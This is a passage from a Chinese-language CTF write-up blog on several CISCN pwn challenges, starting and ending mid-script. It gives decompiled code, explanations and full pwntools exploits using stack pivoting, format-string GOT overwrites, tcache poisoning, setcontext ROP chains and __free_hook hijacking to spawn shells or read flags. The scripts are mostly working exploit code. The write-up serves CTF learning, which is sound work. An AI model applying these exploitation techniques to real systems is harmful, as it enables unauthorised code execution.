payload = cyclic(0x50+0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_sym)+p64(start_addr)
# gdb.attach(io,'b *0x400AEE')
# pause(0)
io.sendline(payload)
io.recv()
io.recvuntil("\x7f")
ret_addr = 0x00000000004006b9
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("puts_addr :"+hex(puts_addr))
obj = LibcSearcher("puts",puts_addr)
libc_addr = puts_addr - obj.dump("puts")
success("libc_addr :"+hex(libc_addr))
system_addr = libc_addr + obj.dump("system")
binsh_addr = libc_addr + obj.dump("str_bin_sh")
io.recvuntil("Input your choice!")
io.sendline(b'1')
io.recvuntil("Input your Plaintext to be encrypted")
payload = cyclic(0x58)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()

[CISCN 2019东南]PWN2

看一下保护机制

image-20230314130819018

ida看一下伪代码

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

分别跟进一下init函数和vul函数

init函数就是清空了缓存区

1
2
3
4
5
int init()
{
setvbuf(stdin, 0, 2, 0);
return setvbuf(stdout, 0, 2, 0);
}

vul函数相当于主函数 分析一下

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

给了两次read的机会 rsi都是栈上的s 同时输入完了以后还进行了printf操作

没有开启canary和pie 存在栈溢出 栈溢出只有两个字长的距离 只够覆盖ebp和ret addr

猜测一手栈迁移 但是目前没有bss段的地址可写 也没有给栈上的地址 既然这样那我们就自己泄露吧

gdb动调一下 断点打在printf函数调用的时候

image-20230314131820981

这里我选择的是ebp处存放的栈地址

printf函数遇到\0就会截停 所以我们只需要用垃圾数据覆盖esp到ebp之间的空间 就可以让printf函数一路畅通无阻 泄露出其内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
from LibcSearcher import*
#io = process("./pwn")
io = remote("1.14.71.254",28294)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

io.recvuntil("Welcome, my friend. What's your name?")
payload = cyclic(0x28)
io.send(payload)
stack_addr = u32(io.recvuntil("\xff")[-4:])
success("stack_addr :"+hex(stack_addr))

随后就是栈迁移的部分了 gdb动调看一下我们第二次输入的s字符串的起始地址和泄露出来的栈地址偏移是多少 顺便在计算一下我们手动放入的binsh字符串的地址 最后利用题目已经给过的system函数构造rop链 获取shell

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
from LibcSearcher import*
io = process("./pwn")
#io = remote("1.14.71.254",28294)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

io.recvuntil("Welcome, my friend. What's your name?")
payload = cyclic(0x28)
io.send(payload)
stack_addr = u32(io.recvuntil("\xff")[-4:])
success("stack_addr :"+hex(stack_addr))
system_addr = 0x8048400
s_addr = stack_addr - (0xff976728-0xff9766f0)
binsh_addr = s_addr + 0xc
leave_addr = 0x080484b8
payload = p32(system_addr)+p32(0)+p32(binsh_addr)+b'/bin/sh;'
payload = payload.ljust(0x28)+p32(s_addr-0x4)+p32(leave_addr)
# gdb.attach(io,'b *0x80485FE')
# pause(0)
io.send(payload)
io.interactive()

[CISCN 2019西南]PWN1

解析放到栈分类的手写格式化字符串漏洞中了 下面直接放exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
from LibcSearcher import*
#io = process("./pwn")
io = remote("1.14.71.254",28417)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
context.arch = "i386"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

fini_addr = 0x804979C
main_addr = 0x8048534
printf_got = 0x804989c
system_addr = 0x80483d0
io.recvuntil("Welcome to my ctf! What's your name?")
payload = b'%'+str(0x0804).encode()+b'c%15$hn'
payload += b'%16$hn'
payload += b'%'+str(0x83d0-0x0804).encode()+b'c%17$hn'
payload += b'%'+str(0x8534-0x83d0).encode()+b'c%18$hnaa'
payload += p32(fini_addr+2)
payload += p32(printf_got+2)
payload += p32(printf_got)
payload += p32(fini_addr)
print(len(payload))
io.sendline(payload)
io.recvuntil("Welcome to my ctf! What's your name?")
payload = b'/bin/sh'
io.sendline(payload)
io.interactive()

[CISCN 2021 初赛]silverwolf

这题不是很难 但是难点在于多个知识点的结合

在复现的时候也是学习到了许多新知识 下面详细复现一遍

image.png

保护全开 同时libc文件是比较少见的2.27 1.3的小版本 这个版本也和目前最新的1.6版本一样 对于tcache有了新的检查机制

ida看一下几个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF

v3[1] = __readfsqword(0x28u);
sub_C70();
while ( 1 )
{
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");
__printf_chk(1LL, "Your choice: ");
__isoc99_scanf(&unk_1144, v3);
switch ( v3[0] )
{
case 1LL:
add();
break;
case 2LL:
edit();
break;
case 3LL:
show();
break;
case 4LL:
delete();
break;
case 5LL:
exit(0);
default:
puts("Unknown");
break;
}
}
}

乍看一下漏洞给的挺多 好像是很简单的堆模板题

image-20230316180906699

但是还开启了沙盒 那显然是无法获取shell了 那就只能想办法构造rop链

同时仔细观察一下 你还会发现 其用来存储chunk指针的不是数组而是单子长的一个指针 这就意味着我们只能操控最新申请的一个chunk

我们拥有的漏洞点包含 UAF off_by_null

既然给了show函数 那么这时候想要泄露基址 还是通过Unsortedbin 不过由于对于申请chunk大小的限制 同时还有指针问题 所以这里要想把chunk丢到unsortedbin中只能通过篡改tcache_perthread_struct来实现目的了

另外 还有一个问题 由于开启了沙盒 沙盒的调用本身也是需要内存空间的 所以程序会自带一些chunk

image-20230316204452016

不过这些chunk对于我们的利用不会起到太大的影响 在做题的过程中小心一下即可

为了劫持tcache_perthread_struct 我们首要的目的就是泄露堆地址

既然有UAF 那么我这里选择的办法是double free 然后泄露fd的值 计算堆基址

1
2
3
4
5
6
7
8
add(0,0x28)
delete(0)
edit(0,p64(0)*2)
delete(0)
add(0,0x28)
show(0)
heap_addr = (u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00')) >> 12) * (0x1000)-0x1000
success("heap_addr :"+hex(heap_addr))

接下来顺带利用好这个double free 来申请到tcache_perthread_struct的地址 然后更改一下counts数组

1
2
3
4
edit(0,p64(heap_addr+0x10))
add(0,0x28)
add(0,0x28)
edit(0,p64(0)*4+p64(0x7000000))

这里的*p64(0)4+p64(0x7000000)) 我还是提一嘴

这样修改counts 你会发现被改为7的是0x250链表的位置

image-20230316205924268

之所以是0x250 是因为实际上此时的指针指向的chunk 虽然我们是通过0x28申请到的chunk 但是chunk头的0x251并没有被改写

接下来就是释放chunk进unsortedbin 随后获得一些下面要用到的地址

1
2
3
4
5
6
7
8
delete(0)
show(0)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7f98511ebca0-0x7f9850e00000)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
setcontext = libc_addr + libc.sym['setcontext'] + 53

setcontext就是我们接下来要构造orw的关键好戏了

你可以在libc文件中找到这一函数

image-20230316210338312

可以看到函数对各种寄存器的值都进行了操作 并且还有一次push rcx的入栈操作 特别是

1
.text:00000000000521B5                 mov     rsp, [rdi+0A0h]

对于rsp寄存器的劫持可以使得我们在堆上构造rop链 随后迁移过去 因为其赋值是根据rdi来的

rdi寄存器的值要怎么由我们操控呢? 当然是free函数了

进行一个小实验 编写如下程序

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
int main()
{
char *a[50];
*a = malloc(0x20);
free(*a);
puts("test");
}

image-20230316221220111

可以看到此时执行free函数时 rdi寄存器指向的就是chunk的地址

控制rdi寄存器的办法有了 接下来来安排下tcache_perthread_struct的布置问题 我们需要修改entry数组 来得到多次任意地址申请的机会

在开始布置之前 我们需要先获得能修改到其的机会 由于我们最开始使用的是0x28字节的chunk 显然是不够修改到entry数组的长度

我们挑选一个还没有存放chunk的tcachebin链表 会向unsortedbin中申请 所以此时申请到的地址还是tcache_perthread_struct中

1
2
add(0,0x48)
edit(0,p64(0)*8+p64(heap_addr+0x50))

于是我们获得了修改entry数组的机会 我们将0x20链表的修改为heap_addr+0x50 这个地址指向的就是entry数组的首地址

随后我们利用这个机会 修改0x40链表的entry 这样就可以修改到更大链表的机会

1
2
add(0,0x18)
edit(0,p64(0)*2+p64(heap_addr+0x50))
1
2
3
4
add(0,0x38)
payload = p64(free_hook)+p64(heap_addr+0x1000)+p64(heap_addr+0x1000+0xa0) #0x20 0x30 0x40
payload += p64(heap_addr+0x1000)+p64(heap_addr+0x2000)+p64(0)+p64(heap_addr+0x2000+0x58) #0x50 0x60 0x70 0x80
edit(0,payload)

这里的entry构造就要详细讲讲了

我们需要把rop链写到堆上 不过由于对申请堆块的限制 所以就只能分两次写 对应着0x60和0x80的链表

0x20的链表则用来修改free_hook 使其指向setcontext+53的地址

0x30和0x40的链表我们要用来配合劫持rsp指针 使其迁移到堆上的rop链

0x50的链表则是用来触发free 充当rdi寄存器值

0x70没有作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ret_addr = libc_addr + 0x00000000000008aa
rdi_addr = libc_addr + 0x000000000002164f
rsi_addr = libc_addr + 0x0000000000023a6a
rdx_addr = libc_addr + 0x0000000000001b96
rax_addr = libc_addr + 0x000000000001b500
syscall = libc_addr + libc.sym['alarm']+0x5
# ret_addr = libc_addr + 0x0000000000023eeb
# rdi_addr = libc_addr + 0x00000000000215bf
# rsi_addr = libc_addr + 0x0000000000023eea
# rdx_addr = libc_addr + 0x0000000000001b96
# rax_addr = libc_addr + 0x0000000000043ae8
# syscall = libc_addr + libc.sym['alarm']+0x5
add(0,0x18)#修改free_hook
edit(0,p64(setcontext))
add(0,0x28)#设置rdi 顺便用来放./flag字符串
edit(0,b'./flag\x00\x00')
add(0,0x38)#劫持rsp指针
edit(0,p64(heap_addr+0x2000)+p64(ret_addr))

劫持rsp指针的payload这里就不解释了 可以看我相关博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#open
flag_addr = heap_addr + 0x1000
rop_open = p64(rdi_addr)+p64(flag_addr)
rop_open += p64(rsi_addr)+p64(0)
rop_open += p64(rax_addr)+p64(2)
rop_open += p64(syscall)
#read
rop_read = p64(rdi_addr)+p64(3)
rop_read += p64(rsi_addr)+p64(flag_addr)
rop_read += p64(rdx_addr)+p64(0x30)
rop_read += p64(rax_addr)+p64(0)
rop_read += p64(syscall)
#write
rop_write = p64(rdi_addr)+p64(1)
rop_write += p64(rsi_addr)+p64(flag_addr)
rop_write += p64(rdx_addr)+p64(0x30)
rop_write += p64(rax_addr)+p64(1)
rop_write += p64(syscall)
payload = rop_open+rop_read+rop_write

add(0,0x58) #布置rop链
edit(0,payload[:0x58])

add(0,0x78) #布置rop链
edit(0,payload[0x58:])

接着就是布置rop链了 分两次部署 [:0x58]和[0x58:]就是取前后0x58字节的部分 这个python语法问题 没啥好说的

最后就是释放0x50链表的chunk了 成功获取flag

1
2
3
4
5
6

add(0,0x48)
# gdb.attach(io,'b *'+str(heap_addr+0x2000))
# pause(0)
delete(0)
io.recv()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import*
from LibcSearcher import*
io = process("./pwn")
#io = remote("1.14.71.254",28068)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
#libc = ELF("./刷题/libc-2.27.so")
# context.arch = "i386"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

def add(index,size):
io.recvuntil("Your choice: ")
io.sendline(b'1')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Done!")

def edit(index,content):
io.recvuntil("Your choice: ")
io.sendline(b'2')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.sendline(content)

def show(index):
io.recvuntil("Your choice: ")
io.sendline(b'3')
io.recvuntil("Index: ")
io.sendline(str(index))

def delete(index):
io.recvuntil("Your choice: ")
io.sendline(b'4')
io.recvuntil("Index: ")
io.sendline(str(index))

add(0,0x28)
delete(0)
edit(0,p64(0)*2)
delete(0)
add(0,0x28)
show(0)
heap_addr = (u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00')) >> 12) * (0x1000)-0x1000
success("heap_addr :"+hex(heap_addr))
edit(0,p64(heap_addr+0x10))
add(0,0x28)
add(0,0x28)
edit(0,p64(0)*4+p64(0x7000000))
delete(0)
show(0)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7f98511ebca0-0x7f9850e00000)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
setcontext = libc_addr + libc.sym['setcontext'] + 53
add(0,0x48)
edit(0,p64(0)*8+p64(heap_addr+0x50))
add(0,0x18)
edit(0,p64(0)*2+p64(heap_addr+0x50))
add(0,0x38)
payload = p64(free_hook)+p64(heap_addr+0x1000)+p64(heap_addr+0x1000+0xa0) #0x20 0x30 0x40
payload += p64(heap_addr+0x1000)+p64(heap_addr+0x2000)+p64(0)+p64(heap_addr+0x2000+0x58) #0x50 0x60 0x70 0x80
edit(0,payload)

ret_addr = libc_addr + 0x00000000000008aa
rdi_addr = libc_addr + 0x000000000002164f
rsi_addr = libc_addr + 0x0000000000023a6a
rdx_addr = libc_addr + 0x0000000000001b96
rax_addr = libc_addr + 0x000000000001b500
syscall = libc_addr + libc.sym['alarm']+0x5
# ret_addr = libc_addr + 0x0000000000023eeb
# rdi_addr = libc_addr + 0x00000000000215bf
# rsi_addr = libc_addr + 0x0000000000023eea
# rdx_addr = libc_addr + 0x0000000000001b96
# rax_addr = libc_addr + 0x0000000000043ae8
# syscall = libc_addr + libc.sym['alarm']+0x5
add(0,0x18)#修改free_hook
edit(0,p64(setcontext))
add(0,0x28)#设置rdi 顺便用来放./flag字符串
edit(0,b'./flag\x00\x00')
add(0,0x38)#劫持rsp指针
edit(0,p64(heap_addr+0x2000)+p64(ret_addr))

#open
flag_addr = heap_addr + 0x1000
rop_open = p64(rdi_addr)+p64(flag_addr)
rop_open += p64(rsi_addr)+p64(0)
rop_open += p64(rax_addr)+p64(2)
rop_open += p64(syscall)
#read
rop_read = p64(rdi_addr)+p64(3)
rop_read += p64(rsi_addr)+p64(flag_addr)
rop_read += p64(rdx_addr)+p64(0x30)
rop_read += p64(rax_addr)+p64(0)
rop_read += p64(syscall)
#write
rop_write = p64(rdi_addr)+p64(1)
rop_write += p64(rsi_addr)+p64(flag_addr)
rop_write += p64(rdx_addr)+p64(0x30)
rop_write += p64(rax_addr)+p64(1)
rop_write += p64(syscall)
payload = rop_open+rop_read+rop_write

add(0,0x58) #布置rop链
edit(0,payload[:0x58])

add(0,0x78) #布置rop链
edit(0,payload[0x58:])

add(0,0x48)
# gdb.attach(io,'b *'+str(heap_addr+0x2000))
# pause(0)
delete(0)
io.recv()

[CISCN 2021 初赛]lonelywolf

比上面那一题更加简单 因为没有了沙盒限制 手法一模一样 就直接放exp了 唯一的麻烦是打不通远程 因为远程是2.27 1.4的版本 搞不到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import*
from LibcSearcher import*
io = process("./pwn")
#io = remote("1.14.71.254",28793)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
#libc = ELF("./刷题/libc-2.27.so")
# context.arch = "i386"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

def add(index,size):
io.recvuntil("Your choice: ")
io.sendline(b'1')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Done!")

def edit(index,content):
io.recvuntil("Your choice: ")
io.sendline(b'2')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.sendline(content)

def show(index):
io.recvuntil("Your choice: ")
io.sendline(b'3')
io.recvuntil("Index: ")
io.sendline(str(index))

def delete(index):
io.recvuntil("Your choice: ")
io.sendline(b'4')
io.recvuntil("Index: ")
io.sendline(str(index))

add(0,0x70)
delete(0)
edit(0,p64(0)*2)
delete(0)
show(0)
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0x260
success("heap_addr :"+hex(heap_addr))
edit(0,p64(heap_addr+0x10))
add(0,0x70)
add(0,0x70)
payload = p64(0)*4+p64(0x7000000)
edit(0,payload)
delete(0)
show(0)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7f85379ebca0-0x7f8537600000)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
system_addr = libc_addr + libc.sym['system']
add(0,0x60)
payload = p64(0)*8+p64(free_hook)
edit(0,payload)
add(0,0x10)
edit(0,p64(system_addr))
add(0,0x20)
edit(0,b'/bin/sh\x00')
delete(0)
io.interactive()

[CISCN 2022 华东北]bigduck

通过这题学到了很多新东西 先来看一下保护机制吧

image-20230319155923093

这一道题是libc2.33的环境 并且开启了沙盒

image-20230319160007547

接着ida分析一下程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-4h]

init_sandbox();
while ( 1 )
{
while ( 1 )
{
menu(a1, a2);
v3 = ((&sub_1268 + 1))();
if ( v3 != 4 )
break;
edit();
}
if ( v3 > 4 )
{
LABEL_13:
a1 = "Invalid choice";
puts("Invalid choice");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete();
}
}
}
}

标准的菜单题 函数给的挺全 没有堆溢出 但是有UAF 值得注意的是 add函数只能申请0x100大小的chunk

既然给了打印堆块内容的机会 那么这里想的是通过unsortebin来泄露libc基址 不过由于只能申请0x100的chunk 那就通过填满tcache链表的办法

1
2
3
4
5
6
7
8
9
for i in range(7):
add()

add()#7
add()#8
for i in range(7):
delete(i)

delete(7)

成功将chunk7释放进unsortedbin

image-20230319160404499

1
2
3
4
5
6
7
8
edit(7,1,b'\x01')
show(7)
io.recv()
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1-96
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - libc.sym['__malloc_hook']-0x10
success("libc_addr :"+hex(libc_addr))
edit(7,1,b'\x00')

接下来就是把main_arena_addr打印出来了 唯一一点需要注意的就是该libc版本main_arena_addr + 96末位是\x00 所以printf函数无法将其打印出来 需要我们修改一下末尾的值 最后再减去

接下来 由于高版本多了一个tcache链表的fd异或保护机制 所以还需要泄露堆基址 这个也比较简单 直接打印处链表尾的chunk0就好了

1
2
3
4
5
6
show(0)
io.recv()
key = u64(io.recv(5).ljust(8,b'\x00'))
success("key :"+hex(key))
heap_addr = key << 12
success("heap_addr :"+hex(heap_addr))

接下来 我们就需要想办法获取flag了 由于开启了沙盒 所以没有办法通过简单的通过hook函数来获取shell

之前的题目做过通过setcontext来劫持rsp指针 迁移到我们在堆上布置的rop链 不过由于2.33 其从rdi寻址改成了rcx寻址 给利用带来了不少难度 所以这里只能作废了

这里使用我们做栈题的老办法了 覆盖ret addr

那么获取到栈地址是一个关键的问题 这里可以使用environ指针

image-20230319161518940

我们跟进一下其存储的栈地址

image-20230319161804065

可以看到低地址处是一个栈帧 我们可以覆盖这个栈帧的ret addr

至于这个是谁的栈帧呢 我编写了一个小程序来动调查验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
void test1(){
puts("test1");
}
void test2(){
puts("test2");
}
int main()
{
test1();
test2();
test1();
}

经过测试 不论是跟进到test函数中 还是在main函数中 environ索引到的都是栈帧高地址处的一块内存

覆盖的ret addr实际上是使得任何函数的返回地址都为止修改(待考证 目前可以确定的是哪怕read函数的返回地址也是受到这个影响的 等我有空更深入了解一下堆栈结构吧 感觉这方面的理解还是不清楚)

经过计算 我们得到了ret addr的地址 接下里只要利用tcachebin attack任意写修改其值就可以了

1
2
3
4
5
6
7
8
9
10
11
for i in range(5):
add() #9-13

edit(1,8,p64(environ_addr ^ key))
add()#14
add()#15
edit(0,8,b'./flag\x00\x00')
show(15)
io.recv()
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x138
success("stack_addr :"+hex(stack_addr))

我们先将tcache清空一下 取出大部分chunk 就留下两个留着攻击

随后申请到environ处 利用show函数打印处栈地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
delete(9)
delete(10)
edit(10,8,p64(stack_addr^key))
add()#16
add()#17
rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()
rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()
rdx_addr = libc_addr + 0x00000000000c7f32
# rax_addr = libc_addr + 0x0000000000044c70
# syscall = libc_addr + 0x0000000000026858
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
#open
#flag_addr = stack_addr +0x10
flag_addr = heap_addr + 0x2a0
payload = p64(0)*3+p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)
payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(read_addr)
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(write_addr)
# gdb.attach(io,'b *'+str(rdi_addr))
# gdb.attach(io,'b *$rebase(0x14AD)')
# pause(0)
edit(17,len(payload),payload)
io.recv()
io.recv()
debug()

接下来任意写到ret addr不远处 这里准确的应该是stack_addr - 0x128 但是好像不能直接申请到这里 估计是malloc检查之类的锅 有待考究 至于申请到stack_addr - 0x138的话 覆盖到了canary 但是不会触发报错 是因为压根没检查 可能是出题人通过什么办法去掉了吧

image-20230319164627276

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import*
from LibcSearcher import*
io = process("./pwn")
#io = remote("1.14.71.254",28793)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6")
#libc = ELF("./刷题/libc-2.27.so")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

def add():
io.recvuntil("Choice: ")
io.sendline(b'1')
io.recvuntil("Done")

def delete(index):
io.recvuntil("Choice: ")
io.sendline(b'2')
io.recvuntil("Idx: ")
io.sendline(str(index))

def show(index):
io.recvuntil("Choice: ")
io.sendline(b'3')
io.recvuntil("Idx: ")
io.sendline(str(index))

def edit(index,size,content):
io.recvuntil("Choice: ")
io.sendline(b'4')
io.recvuntil("Idx: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)

for i in range(7):
add()

add()#7
add()#8
for i in range(7):
delete(i)

delete(7)
edit(7,1,b'\x01')
show(7)
io.recv()
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1-96
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - libc.sym['__malloc_hook']-0x10
success("libc_addr :"+hex(libc_addr))
edit(7,1,b'\x00')
show(0)
io.recv()
key = u64(io.recv(5).ljust(8,b'\x00'))
success("key :"+hex(key))
heap_addr = key << 12
success("heap_addr :"+hex(heap_addr))
environ_addr = libc_addr + libc.sym['environ']
for i in range(5):
add() #9-13

edit(1,8,p64(environ_addr ^ key))
add()#14
add()#15
edit(0,8,b'./flag\x00\x00')
show(15)
io.recv()
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x138
success("stack_addr :"+hex(stack_addr))
delete(9)
delete(10)
edit(10,8,p64(stack_addr^key))
add()#16
add()#17
rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()
rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()
rdx_addr = libc_addr + 0x00000000000c7f32
# rax_addr = libc_addr + 0x0000000000044c70
# syscall = libc_addr + 0x0000000000026858
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
#open
#flag_addr = stack_addr +0x10
flag_addr = heap_addr + 0x2a0
payload = p64(0)*3+p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)
payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(read_addr)
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(write_addr)
# gdb.attach(io,'b *'+str(rdi_addr))
# gdb.attach(io,'b *$rebase(0x14AD)')
# pause(0)
edit(17,len(payload),payload)
io.recv()
io.recv()
debug()

另外关于最后的劫持程序执行流 还有一种办法 我们之前不是提到过 可以确定的是read函数的栈帧也是在那一块吗 可以劫持read函数执行完后的程序执行流 并且由于我们没有破坏原本的栈结构 所以程序执行完 还是可以正常返回的

我们将任意写的地址改为stack_addr - 0x168 然后s到read函数中的syscall来看一看

image-20230319165046509

可以看到 如果我们在rop链前添上8字节的垃圾数据的话 在执行完read后 rsp指针指向的刚好就是rop链的首地址 这时候执行ret指令 就劫持了程序执行流

另外一种exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import*
from LibcSearcher import*
io = process("./pwn")
#io = remote("1.14.71.254",28793)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6")
#libc = ELF("./刷题/libc-2.27.so")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

def add():
io.recvuntil("Choice: ")
io.sendline(b'1')
io.recvuntil("Done")

def delete(index):
io.recvuntil("Choice: ")
io.sendline(b'2')
io.recvuntil("Idx: ")
io.sendline(str(index))

def show(index):
io.recvuntil("Choice: ")
io.sendline(b'3')
io.recvuntil("Idx: ")
io.sendline(str(index))

def edit(index,size,content):
io.recvuntil("Choice: ")
io.sendline(b'4')
io.recvuntil("Idx: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(content)

for i in range(7):
add()

add()#7
add()#8
for i in range(7):
delete(i)

delete(7)
edit(7,1,b'\x01')
show(7)
io.recv()
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1-96
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - libc.sym['__malloc_hook']-0x10
success("libc_addr :"+hex(libc_addr))
edit(7,1,b'\x00')
show(0)
io.recv()
key = u64(io.recv(5).ljust(8,b'\x00'))
